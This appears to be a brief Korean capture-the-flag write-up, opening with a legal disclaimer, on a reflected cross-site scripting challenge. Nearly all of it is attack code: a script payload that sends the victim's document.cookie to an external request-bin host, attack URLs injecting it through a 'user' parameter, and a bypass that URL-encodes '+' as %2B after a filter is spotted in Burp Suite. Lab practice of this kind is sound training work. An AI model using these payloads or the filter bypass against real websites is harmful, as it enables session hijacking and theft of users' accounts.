※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다. (Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)
스크립트 작성 <script>var i = new Image(); i.src=%22https://enmqaeuyiny5.x.pipedream.net/?cookiedata=%22+document.cookie;</script>
공격용 URL 작성 http://ctf.segfaulthub.com:4343/xss_3/mypage.php?user=t1234"><script>var i = new Image(); i.src=%22https://enmqaeuyiny5.x.pipedream.net/?cookiedata=%22+document.cookie;</script>
공격해보았으나 안되어서Burp Suite로 확인해보았다.
'+' 문자가 사라지고 있다. 필터링인 것 같다. + 대신 %2B를 넣어준다. (URL Encording)
수정된 공격용 URL http://ctf.segfaulthub.com:4343/xss_3/mypage.php?user=t1234"><script>var i = new Image(); i.src=%22https://enmqaeuyiny5.x.pipedream.net/?cookiedata=%22%2Bdocument.cookie;</script>